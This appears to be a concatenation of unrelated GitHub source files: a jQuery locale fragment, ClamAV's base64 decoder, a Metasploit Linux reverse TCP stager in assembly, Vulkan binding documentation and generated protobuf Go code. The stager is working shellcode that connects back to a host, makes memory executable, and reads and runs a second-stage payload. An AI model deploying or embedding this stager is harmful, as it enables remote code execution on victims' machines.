shortcuts: 'Toetsencombinaties', close: 'sluiten', textFormatting: 'Tekststijlen', action: 'Acties', paragraphFormatting: 'Paragraafstijlen', documentStyle: 'Documentstijlen' }, history: { undo: 'Ongedaan maken', redo: 'Opnieuw doorvoeren' } } }); })(jQuery);
{ "pile_set_name": "Github" }
/* ** Copyright (C) 2013-2020 Cisco Systems, Inc. and/or its affiliates. All rights reserved. ** Copyright (C) 1998-2013 Sourcefire, Inc. ** ** Written by Patrick Mullen <[email protected]> ** 9/11/2013 - Changed uint32_t to size_t ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License Version 2 as ** published by the Free Software Foundation. You may not use, modify or ** distribute this program under any other version of the GNU General ** Public License. ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ #ifdef HAVE_CONFIG_H #include "clamav-config.h" #endif #include "sf_base64decode.h" // clang-format off uint8_t sf_decode64tab[256] = { 100,100,100,100,100,100,100,100,100,100,100,100,100,100,100,100, 100,100,100,100,100,100,100,100,100,100,100,100,100,100,100,100, 100,100,100,100,100,100,100,100,100,100,100,62 ,100,100,100, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61,100,100,100, 99,100,100, 100, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25,100,100,100,100,100, 100, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51,100,100,100,100,100, 100,100,100,100,100,100,100,100,100,100,100,100,100,100,100,100, 100,100,100,100,100,100,100,100,100,100,100,100,100,100,100,100, 100,100,100,100,100,100,100,100,100,100,100,100,100,100,100,100, 100,100,100,100,100,100,100,100,100,100,100,100,100,100,100,100, 100,100,100,100,100,100,100,100,100,100,100,100,100,100,100,100, 100,100,100,100,100,100,100,100,100,100,100,100,100,100,100,100, 100,100,100,100,100,100,100,100,100,100,100,100,100,100,100,100, 100,100,100,100,100,100,100,100,100,100,100,100,100,100,100,100}; // clang-format on /* base64decode assumes the input data terminates with '=' and/or at the end of the input buffer * at inbuf_size. If extra characters exist within inbuf before inbuf_size is reached, it will * happily decode what it can and skip over what it can't. This is consistent with other decoders * out there. So, either terminate the string, set inbuf_size correctly, or at least be sure the * data is valid up until the point you care about. Note base64 data does NOT have to end with * '=' and won't if the number of bytes of input data is evenly divisible by 3. */ int sf_base64decode(uint8_t *inbuf, size_t inbuf_size, uint8_t *outbuf, size_t outbuf_size, size_t *bytes_written) { uint8_t *cursor, *endofinbuf; uint8_t *outbuf_ptr; uint8_t base64data[4], *base64data_ptr; /* temporary holder for current base64 chunk */ uint8_t tableval_a, tableval_b, tableval_c, tableval_d; size_t n; size_t max_base64_chars; /* The max number of decoded base64 chars that fit into outbuf */ int error = 0; /* This algorithm will waste up to 4 bytes but we really don't care. At the end we're going to copy the exact number of bytes requested. */ max_base64_chars = (outbuf_size / 3) * 4 + 4; /* 4 base64 bytes gives 3 data bytes, plus an extra 4 to take care of any rounding */ base64data_ptr = base64data; endofinbuf = inbuf + inbuf_size; /* Strip non-base64 chars from inbuf and decode */ n = 0; *bytes_written = 0; cursor = inbuf; outbuf_ptr = outbuf; while ((cursor < endofinbuf) && (n < max_base64_chars)) { if (sf_decode64tab[*cursor] != 100) { *base64data_ptr++ = *cursor; n++; /* Number of base64 bytes we've stored */ if (!(n % 4)) { /* We have four databytes upon which to operate */ if ((base64data[0] == '=') || (base64data[1] == '=')) { /* Error in input data */ error = 1; break; } /* retrieve values from lookup table */ tableval_a = sf_decode64tab[base64data[0]]; tableval_b = sf_decode64tab[base64data[1]]; tableval_c = sf_decode64tab[base64data[2]]; tableval_d = sf_decode64tab[base64data[3]]; if (*bytes_written < outbuf_size) { *outbuf_ptr++ = (tableval_a << 2) | (tableval_b >> 4); (*bytes_written)++; } if ((base64data[2] != '=') && (*bytes_written < outbuf_size)) { *outbuf_ptr++ = (tableval_b << 4) | (tableval_c >> 2); (*bytes_written)++; } else { break; } if ((base64data[3] != '=') && (*bytes_written < outbuf_size)) { *outbuf_ptr++ = (tableval_c << 6) | tableval_d; (*bytes_written)++; } else { break; } /* Reset our decode pointer for the next group of four */ base64data_ptr = base64data; } } cursor++; } if (error) return (-1); else return (0); }
{ "pile_set_name": "Github" }
;; ; ; Name: stager_sock_reverse ; Qualities: Can Have Nulls ; Version: $Revision: 1512 $ ; License: ; ; This file is part of the Metasploit Exploit Framework ; and is subject to the same licenses and copyrights as ; the rest of this package. ; ; Description: ; ; Implementation of a Linux reverse TCP stager. ; ; File descriptor in edi. ; ; Meta-Information: ; ; meta-shortname=Linux Reverse TCP Stager ; meta-description=Connect back to the framework and run a second stage ; meta-authors=skape <mmiller [at] hick.org> ; meta-os=linux ; meta-arch=ia32 ; meta-category=stager ; meta-connection-type=reverse ; meta-name=reverse_tcp ; meta-basemod=Msf::PayloadComponent::ReverseConnection ; meta-offset-lhost=0x12 ; meta-offset-lport=0x19 ;; BITS 32 GLOBAL _start _start: push 0x5 ; retry counter pop esi create_socket: xor ebx, ebx mul ebx ; int socket(int domain, int type, int protocol); push ebx ; protocol = 0 = first that matches this type and domain, i.e. tcp inc ebx ; 1 = SYS_SOCKET push ebx ; type = 1 = SOCK_STREAM push byte 0x2 ; domain = 2 = AF_INET mov al, 0x66 ; __NR_socketcall mov ecx, esp ; socketcall args int 0x80 xchg eax, edi set_address: pop ebx ; set ebx back to zero push dword 0x0100007f ; addr->sin_addr = 127.0.0.1 push 0xbfbf0002 ; addr->sin_port = 49087 ; addr->sin_family = 2 = AF_INET mov ecx, esp ; ecx = addr ; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); try_connect: push byte 0x66 ; __NR_socketcall pop eax push eax ; addrlen push ecx ; addr push edi ; sockfd mov ecx, esp ; socketcall args inc ebx ; 3 = SYS_CONNECT int 0x80 test eax, eax jns mprotect handle_failure: push 0xa2 pop eax push 0x0 ; sleep_nanoseconds push 0x5 ; sleep_seconds mov ebx, esp xor ecx, ecx int 0x80 ; sys_nanosleep test eax, eax js failed dec esi jnz create_socket jmp failed %ifndef USE_SINGLE_STAGE ; int mprotect(const void *addr, size_t len, int prot); mprotect: mov dl, 0x7 ; prot = 7 = PROT_READ | PROT_WRITE | PROT_EXEC mov ecx, 0x1000 ; len = PAGE_SIZE (on most systems) mov ebx, esp ; addr shr ebx, 12 ; ensure that addr is page-aligned shl ebx, 12 mov al, 0x7d ; __NR_mprotect int 0x80 test eax, eax js failed ; ssize_t read(int fd, void *buf, size_t count); recv: pop ebx ; sockfd mov ecx, esp ; buf cdq mov dh, 0xc ; count = 0xc00 mov al, 0x3 ; __NR_read int 0x80 test eax, eax js failed jmp ecx failed: mov eax, 0x1 mov ebx, 0x1 ; set exit status to 1 int 0x80 ; sys_exit %endif
{ "pile_set_name": "Github" }
<meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="apple-touch-icon-precomposed" sizes="144x144" href="../../assets/img/favicon-144.png"> <link rel="apple-touch-icon-precomposed" sizes="114x114" href="../../assets/img/favicon-144.png"> <link rel="apple-touch-icon-precomposed" sizes="72x72" href="../../assets/img/favicon-72.png"> <link rel="apple-touch-icon-precomposed" href="../../assets/img/favicon-32.png"> <link rel="shortcut icon" href="../../assets/img/favicon-32.png"> <link rel="stylesheet" href="../../assets/css/vk.css"/> <link rel="stylesheet" href="../../assets/css/prism.css"/> <vk-title>VkPastPresentationTimingGOOGLE | NVK</vk-title> <vk-centered> <vk-navigation> <vk-search-title>Search</vk-search-title> <vk-search> <input type="text" id="search" autocomplete="off" /> <vk-search-results> <ol id="search-list"> <li id="no-search-results">No Results</li> </ol> </vk-search-results> </vk-search> <vk-section-title style="margin-top: 1em;">Categories</vk-section-title> <vk-categories></vk-categories> </vk-navigation> <vk-struct> <vk-name>VkPastPresentationTimingGOOGLE</vk-name> <vk-description>Structure containing timing information about a previously-presented image</vk-description> <vk-section-title>Syntax</vk-section-title> <vk-syntax> <pre><code class="language-js">pastPresentationTimingGOOGLE = new VkPastPresentationTimingGOOGLE();</code></pre> </vk-syntax> <vk-section-title>Stub <vk-property-type type="read-only">read-only</vk-property-type></vk-section-title> <vk-property-prototype id="expand-code" class="expand-btn"></vk-property-prototype> <vk-stub id="code-no-expand" style="display:none;"> <pre><code class="language-js">let pastPresentationTimingGOOGLE = new VkPastPresentationTimingGOOGLE(); pastPresentationTimingGOOGLE.presentID; pastPresentationTimingGOOGLE.desiredPresentTime; pastPresentationTimingGOOGLE.actualPresentTime; pastPresentationTimingGOOGLE.earliestPresentTime; pastPresentationTimingGOOGLE.presentMargin; </code></pre> </vk-stub> <vk-stub id="code-expanded" style="display:none;"> <pre><code class="language-js">let pastPresentationTimingGOOGLE = new VkPastPresentationTimingGOOGLE(); pastPresentationTimingGOOGLE.presentID; pastPresentationTimingGOOGLE.desiredPresentTime; pastPresentationTimingGOOGLE.actualPresentTime; pastPresentationTimingGOOGLE.earliestPresentTime; pastPresentationTimingGOOGLE.presentMargin; </code></pre> </vk-stub><vk-section-title>Properties</vk-section-title> <vk-properties> <vk-property-entry> <vk-property-prototype>VkPastPresentationTimingGOOGLE.prototype.<vk-prototype-name>presentID</vk-prototype-name></vk-property-prototype> <vk-property-type type="number">Number</vk-property-type> <vk-property-description> is an application-provided value that was given to a previous <b><a href="../calls/vkQueuePresentKHR.html">vkQueuePresentKHR</a></b> command via <b><a href="../structs/VkPresentTimeGOOGLE.html">VkPresentTimeGOOGLE</a></b>::<b>presentID</b> (see below). It <i>can</i> be used to uniquely identify a previous present with the <b><a href="../calls/vkQueuePresentKHR.html">vkQueuePresentKHR</a></b> command.</vk-property-description> </vk-property-entry> <vk-property-entry> <vk-property-prototype>VkPastPresentationTimingGOOGLE.prototype.<vk-prototype-name>desiredPresentTime</vk-prototype-name></vk-property-prototype> <vk-property-type type="number"><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt">BigInt</a></vk-property-type> <vk-property-type type="number">Number</vk-property-type> <vk-property-description> is an application-provided value that was given to a previous <b><a href="../calls/vkQueuePresentKHR.html">vkQueuePresentKHR</a></b> command via <b><a href="../structs/VkPresentTimeGOOGLE.html">VkPresentTimeGOOGLE</a></b>::<b>desiredPresentTime</b>. If non-zero, it was used by the application to indicate that an image not be presented any sooner than <b>desiredPresentTime</b>.</vk-property-description> </vk-property-entry> <vk-property-entry> <vk-property-prototype>VkPastPresentationTimingGOOGLE.prototype.<vk-prototype-name>actualPresentTime</vk-prototype-name></vk-property-prototype> <vk-property-type type="number"><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt">BigInt</a></vk-property-type> <vk-property-type type="number">Number</vk-property-type> <vk-property-description> is the time when the image of the <b>swapchain</b> was actually displayed.</vk-property-description> </vk-property-entry> <vk-property-entry> <vk-property-prototype>VkPastPresentationTimingGOOGLE.prototype.<vk-prototype-name>earliestPresentTime</vk-prototype-name></vk-property-prototype> <vk-property-type type="number"><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt">BigInt</a></vk-property-type> <vk-property-type type="number">Number</vk-property-type> <vk-property-description> is the time when the image of the <b>swapchain</b> could have been displayed. This <i>may</i> differ from <b>actualPresentTime</b> if the application requested that the image be presented no sooner than <b><a href="../structs/VkPresentTimeGOOGLE.html">VkPresentTimeGOOGLE</a></b>::<b>desiredPresentTime</b>.</vk-property-description> </vk-property-entry> <vk-property-entry> <vk-property-prototype>VkPastPresentationTimingGOOGLE.prototype.<vk-prototype-name>presentMargin</vk-prototype-name></vk-property-prototype> <vk-property-type type="number"><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt">BigInt</a></vk-property-type> <vk-property-type type="number">Number</vk-property-type> <vk-property-description> is an indication of how early the <b><a href="../calls/vkQueuePresentKHR.html">vkQueuePresentKHR</a></b> command was processed compared to how soon it needed to be processed, and still be presented at <b>earliestPresentTime</b>.</vk-property-description> </vk-property-entry> </vk-properties> <vk-section-title>Default Properties</vk-section-title> <vk-properties> <vk-property-entry> <vk-property-prototype>VkPastPresentationTimingGOOGLE.prototype.<vk-prototype-name>memoryBuffer</vk-prototype-name></vk-property-prototype> <vk-property-type type="arraybuffer"><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer">ArrayBuffer</a></vk-property-type> <vk-property-description>Native memory reference of the structure.</vk-property-description> </vk-property-entry> <vk-property-entry> <vk-property-prototype>VkPastPresentationTimingGOOGLE.<vk-prototype-name>memoryLayout</vk-prototype-name></vk-property-prototype> <vk-property-type type="object">Object</vk-property-type> <vk-property-description>Object describing this structure's memory layout.</vk-property-description> </vk-property-entry> <vk-property-entry> <vk-property-prototype>VkPastPresentationTimingGOOGLE.<vk-prototype-name>byteLength</vk-prototype-name></vk-property-prototype> <vk-property-type type="number">Number</vk-property-type> <vk-property-description>Total native byte length of this structure.</vk-property-description> </vk-property-entry> </vk-properties> </vk-struct> </vk-centered> <script> const IS_ROOT = false; </script> <script type="text/javascript" src="../../assets/js/prism.min.js"></script> <script type="text/javascript" src="../../assets/js/index.js"></script>
{ "pile_set_name": "Github" }
// Code generated by protoc-gen-gogo. DO NOT EDIT. // source: google/protobuf/any.proto package types import proto "github.com/gogo/protobuf/proto" import fmt "fmt" import math "math" import bytes "bytes" import strings "strings" import reflect "reflect" import io "io" // Reference imports to suppress errors if they are not otherwise used. var _ = proto.Marshal var _ = fmt.Errorf var _ = math.Inf // This is a compile-time assertion to ensure that this generated file // is compatible with the proto package it is being compiled against. // A compilation error at this line likely means your copy of the // proto package needs to be updated. const _ = proto.GoGoProtoPackageIsVersion2 // please upgrade the proto package // `Any` contains an arbitrary serialized protocol buffer message along with a // URL that describes the type of the serialized message. // // Protobuf library provides support to pack/unpack Any values in the form // of utility functions or additional generated methods of the Any type. // // Example 1: Pack and unpack a message in C++. // // Foo foo = ...; // Any any; // any.PackFrom(foo); // ... // if (any.UnpackTo(&foo)) { // ... // } // // Example 2: Pack and unpack a message in Java. // // Foo foo = ...; // Any any = Any.pack(foo); // ... // if (any.is(Foo.class)) { // foo = any.unpack(Foo.class); // } // // Example 3: Pack and unpack a message in Python. // // foo = Foo(...) // any = Any() // any.Pack(foo) // ... // if any.Is(Foo.DESCRIPTOR): // any.Unpack(foo) // ... // // Example 4: Pack and unpack a message in Go // // foo := &pb.Foo{...} // any, err := ptypes.MarshalAny(foo) // ... // foo := &pb.Foo{} // if err := ptypes.UnmarshalAny(any, foo); err != nil { // ... // } // // The pack methods provided by protobuf library will by default use // 'type.googleapis.com/full.type.name' as the type URL and the unpack // methods only use the fully qualified type name after the last '/' // in the type URL, for example "foo.bar.com/x/y.z" will yield type // name "y.z". // // // JSON // ==== // The JSON representation of an `Any` value uses the regular // representation of the deserialized, embedded message, with an // additional field `@type` which contains the type URL. Example: // // package google.profile; // message Person { // string first_name = 1; // string last_name = 2; // } // // { // "@type": "type.googleapis.com/google.profile.Person", // "firstName": <string>, // "lastName": <string> // } // // If the embedded message type is well-known and has a custom JSON // representation, that representation will be embedded adding a field // `value` which holds the custom JSON in addition to the `@type` // field. Example (for message [google.protobuf.Duration][]): // // { // "@type": "type.googleapis.com/google.protobuf.Duration", // "value": "1.212s" // } // type Any struct { // A URL/resource name that uniquely identifies the type of the serialized // protocol buffer message. The last segment of the URL's path must represent // the fully qualified name of the type (as in // `path/google.protobuf.Duration`). The name should be in a canonical form // (e.g., leading "." is not accepted). // // In practice, teams usually precompile into the binary all types that they // expect it to use in the context of Any. However, for URLs which use the // scheme `http`, `https`, or no scheme, one can optionally set up a type // server that maps type URLs to message definitions as follows: // // * If no scheme is provided, `https` is assumed. // * An HTTP GET on the URL must yield a [google.protobuf.Type][] // value in binary format, or produce an error. // * Applications are allowed to cache lookup results based on the // URL, or have them precompiled into a binary to avoid any // lookup. Therefore, binary compatibility needs to be preserved // on changes to types. (Use versioned type names to manage // breaking changes.) // // Note: this functionality is not currently available in the official // protobuf release, and it is not used for type URLs beginning with // type.googleapis.com. // // Schemes other than `http`, `https` (or the empty scheme) might be // used with implementation specific semantics. // TypeUrl string `protobuf:"bytes,1,opt,name=type_url,json=typeUrl,proto3" json:"type_url,omitempty"` // Must be a valid serialized protocol buffer of the above specified type. Value []byte `protobuf:"bytes,2,opt,name=value,proto3" json:"value,omitempty"` XXX_NoUnkeyedLiteral struct{} `json:"-"` XXX_unrecognized []byte `json:"-"` XXX_sizecache int32 `json:"-"` } func (m *Any) Reset() { *m = Any{} } func (*Any) ProtoMessage() {} func (*Any) Descriptor() ([]byte, []int) { return fileDescriptor_any_8eec716d227a06dd, []int{0} } func (*Any) XXX_WellKnownType() string { return "Any" } func (m *Any) XXX_Unmarshal(b []byte) error { return m.Unmarshal(b) } func (m *Any) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { if deterministic { return xxx_messageInfo_Any.Marshal(b, m, deterministic) } else { b = b[:cap(b)] n, err := m.MarshalTo(b) if err != nil { return nil, err } return b[:n], nil } } func (dst *Any) XXX_Merge(src proto.Message) { xxx_messageInfo_Any.Merge(dst, src) } func (m *Any) XXX_Size() int { return m.Size() } func (m *Any) XXX_DiscardUnknown() { xxx_messageInfo_Any.DiscardUnknown(m) } var xxx_messageInfo_Any proto.InternalMessageInfo func (m *Any) GetTypeUrl() string { if m != nil { return m.TypeUrl } return "" } func (m *Any) GetValue() []byte { if m != nil { return m.Value } return nil } func (*Any) XXX_MessageName() string { return "google.protobuf.Any" } func init() { proto.RegisterType((*Any)(nil), "google.protobuf.Any") } func (this *Any) Compare(that interface{}) int { if that == nil { if this == nil { return 0 } return 1 } that1, ok := that.(*Any) if !ok { that2, ok := that.(Any) if ok { that1 = &that2 } else { return 1 } } if that1 == nil { if this == nil { return 0 } return 1 } else if this == nil { return -1 } if this.TypeUrl != that1.TypeUrl { if this.TypeUrl < that1.TypeUrl { return -1 } return 1 } if c := bytes.Compare(this.Value, that1.Value); c != 0 { return c } if c := bytes.Compare(this.XXX_unrecognized, that1.XXX_unrecognized); c != 0 { return c } return 0 } func (this *Any) Equal(that interface{}) bool { if that == nil { return this == nil } that1, ok := that.(*Any) if !ok { that2, ok := that.(Any) if ok { that1 = &that2 } else { return false } } if that1 == nil { return this == nil } else if this == nil { return false } if this.TypeUrl != that1.TypeUrl { return false } if !bytes.Equal(this.Value, that1.Value) { return false } if !bytes.Equal(this.XXX_unrecognized, that1.XXX_unrecognized) { return false } return true } func (this *Any) GoString() string { if this == nil { return "nil" } s := make([]string, 0, 6) s = append(s, "&types.Any{") s = append(s, "TypeUrl: "+fmt.Sprintf("%#v", this.TypeUrl)+",\n") s = append(s, "Value: "+fmt.Sprintf("%#v", this.Value)+",\n") if this.XXX_unrecognized != nil { s = append(s, "XXX_unrecognized:"+fmt.Sprintf("%#v", this.XXX_unrecognized)+",\n") } s = append(s, "}") return strings.Join(s, "") } func valueToGoStringAny(v interface{}, typ string) string { rv := reflect.ValueOf(v) if rv.IsNil() { return "nil" } pv := reflect.Indirect(rv).Interface() return fmt.Sprintf("func(v %v) *%v { return &v } ( %#v )", typ, typ, pv) } func (m *Any) Marshal() (dAtA []byte, err error) { size := m.Size() dAtA = make([]byte, size) n, err := m.MarshalTo(dAtA) if err != nil { return nil, err } return dAtA[:n], nil } func (m *Any) MarshalTo(dAtA []byte) (int, error) { var i int _ = i var l int _ = l if len(m.TypeUrl) > 0 { dAtA[i] = 0xa i++ i = encodeVarintAny(dAtA, i, uint64(len(m.TypeUrl))) i += copy(dAtA[i:], m.TypeUrl) } if len(m.Value) > 0 { dAtA[i] = 0x12 i++ i = encodeVarintAny(dAtA, i, uint64(len(m.Value))) i += copy(dAtA[i:], m.Value) } if m.XXX_unrecognized != nil { i += copy(dAtA[i:], m.XXX_unrecognized) } return i, nil } func encodeVarintAny(dAtA []byte, offset int, v uint64) int { for v >= 1<<7 { dAtA[offset] = uint8(v&0x7f | 0x80) v >>= 7 offset++ } dAtA[offset] = uint8(v) return offset + 1 } func NewPopulatedAny(r randyAny, easy bool) *Any { this := &Any{} this.TypeUrl = string(randStringAny(r)) v1 := r.Intn(100) this.Value = make([]byte, v1) for i := 0; i < v1; i++ { this.Value[i] = byte(r.Intn(256)) } if !easy && r.Intn(10) != 0 { this.XXX_unrecognized = randUnrecognizedAny(r, 3) } return this } type randyAny interface { Float32() float32 Float64() float64 Int63() int64 Int31() int32 Uint32() uint32 Intn(n int) int } func randUTF8RuneAny(r randyAny) rune { ru := r.Intn(62) if ru < 10 { return rune(ru + 48) } else if ru < 36 { return rune(ru + 55) } return rune(ru + 61) } func randStringAny(r randyAny) string { v2 := r.Intn(100) tmps := make([]rune, v2) for i := 0; i < v2; i++ { tmps[i] = randUTF8RuneAny(r) } return string(tmps) } func randUnrecognizedAny(r randyAny, maxFieldNumber int) (dAtA []byte) { l := r.Intn(5) for i := 0; i < l; i++ { wire := r.Intn(4) if wire == 3 { wire = 5 } fieldNumber := maxFieldNumber + r.Intn(100) dAtA = randFieldAny(dAtA, r, fieldNumber, wire) } return dAtA } func randFieldAny(dAtA []byte, r randyAny, fieldNumber int, wire int) []byte { key := uint32(fieldNumber)<<3 | uint32(wire) switch wire { case 0: dAtA = encodeVarintPopulateAny(dAtA, uint64(key)) v3 := r.Int63() if r.Intn(2) == 0 { v3 *= -1 } dAtA = encodeVarintPopulateAny(dAtA, uint64(v3)) case 1: dAtA = encodeVarintPopulateAny(dAtA, uint64(key)) dAtA = append(dAtA, byte(r.Intn(256)), byte(r.Intn(256)), byte(r.Intn(256)), byte(r.Intn(256)), byte(r.Intn(256)), byte(r.Intn(256)), byte(r.Intn(256)), byte(r.Intn(256))) case 2: dAtA = encodeVarintPopulateAny(dAtA, uint64(key)) ll := r.Intn(100) dAtA = encodeVarintPopulateAny(dAtA, uint64(ll)) for j := 0; j < ll; j++ { dAtA = append(dAtA, byte(r.Intn(256))) } default: dAtA = encodeVarintPopulateAny(dAtA, uint64(key)) dAtA = append(dAtA, byte(r.Intn(256)), byte(r.Intn(256)), byte(r.Intn(256)), byte(r.Intn(256))) } return dAtA } func encodeVarintPopulateAny(dAtA []byte, v uint64) []byte { for v >= 1<<7 { dAtA = append(dAtA, uint8(uint64(v)&0x7f|0x80)) v >>= 7 } dAtA = append(dAtA, uint8(v)) return dAtA } func (m *Any) Size() (n int) { var l int _ = l l = len(m.TypeUrl) if l > 0 { n += 1 + l + sovAny(uint64(l)) } l = len(m.Value) if l > 0 { n += 1 + l + sovAny(uint64(l)) } if m.XXX_unrecognized != nil { n += len(m.XXX_unrecognized) } return n } func sovAny(x uint64) (n int) { for { n++ x >>= 7 if x == 0 { break } } return n } func sozAny(x uint64) (n int) { return sovAny(uint64((x << 1) ^ uint64((int64(x) >> 63)))) } func (this *Any) String() string { if this == nil { return "nil" } s := strings.Join([]string{`&Any{`, `TypeUrl:` + fmt.Sprintf("%v", this.TypeUrl) + `,`, `Value:` + fmt.Sprintf("%v", this.Value) + `,`, `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, `}`, }, "") return s } func valueToStringAny(v interface{}) string { rv := reflect.ValueOf(v) if rv.IsNil() { return "nil" } pv := reflect.Indirect(rv).Interface() return fmt.Sprintf("*%v", pv) } func (m *Any) Unmarshal(dAtA []byte) error { l := len(dAtA) iNdEx := 0 for iNdEx < l { preIndex := iNdEx var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowAny } if iNdEx >= l { return io.ErrUnexpectedEOF } b := dAtA[iNdEx] iNdEx++ wire |= (uint64(b) & 0x7F) << shift if b < 0x80 { break } } fieldNum := int32(wire >> 3) wireType := int(wire & 0x7) if wireType == 4 { return fmt.Errorf("proto: Any: wiretype end group for non-group") } if fieldNum <= 0 { return fmt.Errorf("proto: Any: illegal tag %d (wire type %d)", fieldNum, wire) } switch fieldNum { case 1: if wireType != 2 { return fmt.Errorf("proto: wrong wireType = %d for field TypeUrl", wireType) } var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowAny } if iNdEx >= l { return io.ErrUnexpectedEOF } b := dAtA[iNdEx] iNdEx++ stringLen |= (uint64(b) & 0x7F) << shift if b < 0x80 { break } } intStringLen := int(stringLen) if intStringLen < 0 { return ErrInvalidLengthAny } postIndex := iNdEx + intStringLen if postIndex > l { return io.ErrUnexpectedEOF } m.TypeUrl = string(dAtA[iNdEx:postIndex]) iNdEx = postIndex case 2: if wireType != 2 { return fmt.Errorf("proto: wrong wireType = %d for field Value", wireType) } var byteLen int for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowAny } if iNdEx >= l { return io.ErrUnexpectedEOF } b := dAtA[iNdEx] iNdEx++ byteLen |= (int(b) & 0x7F) << shift if b < 0x80 { break } } if byteLen < 0 { return ErrInvalidLengthAny } postIndex := iNdEx + byteLen if postIndex > l { return io.ErrUnexpectedEOF } m.Value = append(m.Value[:0], dAtA[iNdEx:postIndex]...) if m.Value == nil { m.Value = []byte{} } iNdEx = postIndex default: iNdEx = preIndex skippy, err := skipAny(dAtA[iNdEx:]) if err != nil { return err } if skippy < 0 { return ErrInvalidLengthAny } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF } m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) iNdEx += skippy } } if iNdEx > l { return io.ErrUnexpectedEOF } return nil } func skipAny(dAtA []byte) (n int, err error) { l := len(dAtA) iNdEx := 0 for iNdEx < l { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { return 0, ErrIntOverflowAny } if iNdEx >= l { return 0, io.ErrUnexpectedEOF } b := dAtA[iNdEx] iNdEx++ wire |= (uint64(b) & 0x7F) << shift if b < 0x80 { break } } wireType := int(wire & 0x7) switch wireType { case 0: for shift := uint(0); ; shift += 7 { if shift >= 64 { return 0, ErrIntOverflowAny } if iNdEx >= l { return 0, io.ErrUnexpectedEOF } iNdEx++ if dAtA[iNdEx-1] < 0x80 { break } } return iNdEx, nil case 1: iNdEx += 8 return iNdEx, nil case 2: var length int for shift := uint(0); ; shift += 7 { if shift >= 64 { return 0, ErrIntOverflowAny } if iNdEx >= l { return 0, io.ErrUnexpectedEOF } b := dAtA[iNdEx] iNdEx++ length |= (int(b) & 0x7F) << shift if b < 0x80 { break } } iNdEx += length if length < 0 { return 0, ErrInvalidLengthAny } return iNdEx, nil case 3: for { var innerWire uint64 var start int = iNdEx for shift := uint(0); ; shift += 7 { if shift >= 64 { return 0, ErrIntOverflowAny } if iNdEx >= l { return 0, io.ErrUnexpectedEOF } b := dAtA[iNdEx] iNdEx++ innerWire |= (uint64(b) & 0x7F) << shift if b < 0x80 { break } } innerWireType := int(innerWire & 0x7) if innerWireType == 4 { break } next, err := skipAny(dAtA[start:]) if err != nil { return 0, err } iNdEx = start + next } return iNdEx, nil case 4: return iNdEx, nil case 5: iNdEx += 4 return iNdEx, nil default: return 0, fmt.Errorf("proto: illegal wireType %d", wireType) } } panic("unreachable") } var ( ErrInvalidLengthAny = fmt.Errorf("proto: negative length found during unmarshaling") ErrIntOverflowAny = fmt.Errorf("proto: integer overflow") ) func init() { proto.RegisterFile("google/protobuf/any.proto", fileDescriptor_any_8eec716d227a06dd) } var fileDescriptor_any_8eec716d227a06dd = []byte{ // 216 bytes of a gzipped FileDescriptorProto 0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xe2, 0x92, 0x4c, 0xcf, 0xcf, 0x4f, 0xcf, 0x49, 0xd5, 0x2f, 0x28, 0xca, 0x2f, 0xc9, 0x4f, 0x2a, 0x4d, 0xd3, 0x4f, 0xcc, 0xab, 0xd4, 0x03, 0x73, 0x84, 0xf8, 0x21, 0x52, 0x7a, 0x30, 0x29, 0x25, 0x33, 0x2e, 0x66, 0xc7, 0xbc, 0x4a, 0x21, 0x49, 0x2e, 0x8e, 0x92, 0xca, 0x82, 0xd4, 0xf8, 0xd2, 0xa2, 0x1c, 0x09, 0x46, 0x05, 0x46, 0x0d, 0xce, 0x20, 0x76, 0x10, 0x3f, 0xb4, 0x28, 0x47, 0x48, 0x84, 0x8b, 0xb5, 0x2c, 0x31, 0xa7, 0x34, 0x55, 0x82, 0x49, 0x81, 0x51, 0x83, 0x27, 0x08, 0xc2, 0x71, 0x6a, 0x66, 0xbc, 0xf0, 0x50, 0x8e, 0xe1, 0xc6, 0x43, 0x39, 0x86, 0x0f, 0x0f, 0xe5, 0x18, 0x7f, 0x3c, 0x94, 0x63, 0x6c, 0x78, 0x24, 0xc7, 0xb8, 0xe2, 0x91, 0x1c, 0xe3, 0x89, 0x47, 0x72, 0x8c, 0x17, 0x1e, 0xc9, 0x31, 0x3e, 0x78, 0x24, 0xc7, 0xf8, 0xe2, 0x91, 0x1c, 0xc3, 0x07, 0x90, 0xf8, 0x63, 0x39, 0xc6, 0x13, 0x8f, 0xe5, 0x18, 0xb9, 0x84, 0x93, 0xf3, 0x73, 0xf5, 0xd0, 0xdc, 0xe0, 0xc4, 0xe1, 0x98, 0x57, 0x19, 0x00, 0xe2, 0x04, 0x30, 0x46, 0xb1, 0x82, 0xac, 0x2d, 0x5e, 0xc4, 0xc4, 0xec, 0x1e, 0xe0, 0xb4, 0x8a, 0x49, 